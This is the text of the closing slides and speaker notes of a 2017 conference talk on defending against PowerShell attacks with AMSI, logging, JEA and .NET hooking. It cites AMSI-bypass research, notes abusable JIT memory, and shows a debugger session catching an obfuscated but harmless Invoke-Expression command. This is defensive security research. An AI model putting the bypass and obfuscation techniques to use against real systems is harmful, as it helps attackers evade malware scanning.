  • 39. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.39 ITセキュリティプロフェッショナルへ向け  Windows 10 + PowerShell v5を使用し、セキュリティ機能を理解する  AMSIは可視性の向上に非常に寄与する  スクリプトブロック・ロギングは インシデント後の状況理解に有用  JEAにより管理者が実行可能な操作を制限できる  Constrained Language Mode と AppLocker または Device Guardを導入する  PowerShell+リフレクションベースの攻撃(スクリプトブロック・ロギングおよびAMSI バイパス)等を防ぐ  PowerShell v2 を削除する  ダウングレードアタックを防ぐ  システム最新に保つ  AMSIバイパスの修正など
  • 40. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.40 研究者/セキュリティソフトウェアベンダー向け  AMSIの機能を理解する(AMSIは進歩している)  .NET ネイティブコードフックが各々のゴールのために利用可能か評価する  マネージドプログラムの監視に有用  主要なコンセプトは単純かつクリーン  マルウェア解析にも利用可能 (例, 動的解析、アンパック)  サンプルコードを見てみる: github.com/tandasat/DotNetHooking  .NET Core (例, PowerShell v6)にも適用可能  PowerShell からのGetFunctionPointer の利用に注意する  攻撃者によって使用される可能性がある  Add-Type & VirtualProtect は必須ではない (JITコンパイルされたコードはRWX)
  • 41. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. 謝辞  Alex Ionescu (@aionescu)  Aaron LeMasters (@lilhoser)  モチベーションを与えてくれた研究者たち:  Matt Graeber (@mattifestation)  Daniel Bohannon (@danielbohannon) 41
  • 42. THANK YOU! Satoshi Tanda @standa_t 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.42
  • 43. QUESTIONS 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.43
  • 44. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED. RESOURCES: RELEVANT RESEARCH  AMSI: How Windows 10 Plans to Stop Script-Based Attacks and How Well It Does It  Nikhil Mittal  https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf  Hijacking Arbitrary .NET Application Control Flow  Topher Timzen and Ryan Allen  https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEFCON-23-Topher-Timzen-Ryan-Allen-Hijacking-Arbitrary-NET- Application-Control-FlowWP.pdf  .Net Hijacking to Defend PowerShell  Amanda Rousseau  https://www.slideshare.net/AmandaRousseau1/net-hijacking-to-defend-powershellbsidessf2017  https://arxiv.org/ftp/arxiv/papers/1709/1709.07508.pdf  AMSI Bypass via PowerShell  Matt Graeber  https://twitter.com/mattifestation/status/735261120487772160  https://gist.github.com/mattifestation/46d6a2ebb4a1f4f0e7229503dc012ef1  AMSI Bypass via Hijacking  Matt Nelson  https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ 44
  • 45. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.45 RESOURCES: CLR & .NET INTERNALS  CoreCLR -- the open source version of CLR and .NET Framework  https://github.com/dotnet/coreclr/tree/master/Documentation/botr  https://github.com/dotnet/docs  PowerShell Core -- the open source version of PowerShell  https://github.com/PowerShell/PowerShell  Hosting API and Injection  https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/hosting/  https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0 (CLR 4)  https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-4da36165 (CLR 2)
  • 46. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.46 RESOURCES: POWERSHELL DEBUGGING  Debugging Managed Code Using the Windows Debugger  https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugging-managed- code  WinDbg / SOS Cheat Sheet  http://geekswithblogs.net/.netonmymind/archive/2006/03/14/72262.aspx  WinDbg cheat sheet  https://theartofdev.com/windbg-cheat-sheet/  SOSEX  http://www.stevestechspot.com/  MEX Debugging Extension for WinDbg  https://blogs.msdn.microsoft.com/luisdem/2016/07/19/mex-debugging-extension-for-windbg-2/
  • 47. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.47 RESOURCES: EXAMPLE DEBUGGING SESSION (1/2)# # STEP 1: Run powershell.exe normally and attach with a WinDbg. Then break in # to a debugger, and load SOS and SOSEX extensions. # 0:003> .loadby sos mscorwks 0:003> .load C:windbg_initsosex_64sosex.dll # # STEP 2: Set a breakpoint onto the InvokeExpressionCommand.ProcessRecord method # 0:003> !mbm Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord Breakpoint set at Microsoft.PowerShell.Commands.InvokeExpressionCommand.ProcessRecord() in AppDomain 0000018a8fbe1670. 0:003> g # # STEP 3: Execute the Invoke-Expression cmdlet on PowerShell. The breakpoint # should hit. # PS> IEX ("{6}{2}{1}{4}{5}{3}{0}" -f 'd!','Hos','e-',' is a bad comman','t t','his','Writ')
  • 48. 2017 CROWDSTRIKE, INC. ALL RIGHTS RESERVED.48 RESOURCES: EXAMPLE DEBUGGING SESSION (2/2)# # STEP 4: Dump contents of the "this" pointer and find the address of the # _command field. # 0:006> !do rcx ... Fields: MT Field Offset Type VT Attr Value Name ... 00007fff58e27ed0 4000252 70 System.String 0 instance 0000018a91e5fef0 _command # # STEP 5: Dump contents of the _command field. # 0:006> !do 0000018a91e5fef0 ... String: Write-Host this is a bad command!

Editor's Notes

  1. I am going to start by giving thanks to Kana and all content reviewers for letting me join CodeBlue as a speaker. I had never participated in CodeBlue even though I have been working for computer security. The reason was CodeBlue started in 2013, after I moved to Canada. I kept hearing news about this conference even though I was in Canada, and started to think I wasted join CodeBlue, especially as a speaker. So I am glad to be here as a speaker. Also, thanks to all of you for coming to my sessio. I am hoping that I can give you useful information that is applicable to your jobs in this session.
  2. This talk is connected to my background. This chart is taken from Google Trend showing how often the word “Upatre” was searched on Google. Upatre is a name of downloader malware
  3. … and I started to realize that PowerShell based attacks were more prevalent and carried out in wider situations, than other script based attacks.
  4. I started to look into ways to gain more visibilities into PowerShell based attacks. This talk is to share some of research findings, so that you can understand current threat landscape and existing protection measures, as well as ways to apply little known .Net hooking based technique to gain more visibility and protect ourselves from PowerShell attacks.
  5. As a downloader, post exploitation (open source made PS common) How AV works – PE focused, lack of toolsets AV has ability to handle hash buster but hard with PS due to no structure “Shell” usage is the first class citizen AV looks at a command line parameter, but not always sufficient
  6. - Does not address all challenges (eg, host is powershell.exe, need to deal with texts)
  7. However, we do not live in the perfect world
  8. 25 mins
  9. The AppDomainManager is a special .NET class that can be loaded and executed before a managed program is fully initialized.
  10. - 40mins
  11. 50mins AMSI bypass vs emulated AMSI Emulated AMSI for PowerShell v2 vs Invoke-Expression
  12. At the end, thanks Alex Ionescu and Aaron LeMasters who helped me in many aspects for this research. And, thanks Matt Graeber and Daniel Bohannon for their great research regarding PowerShell attacks and protections. I would not be that interested in PowerShell threat landscape without their work.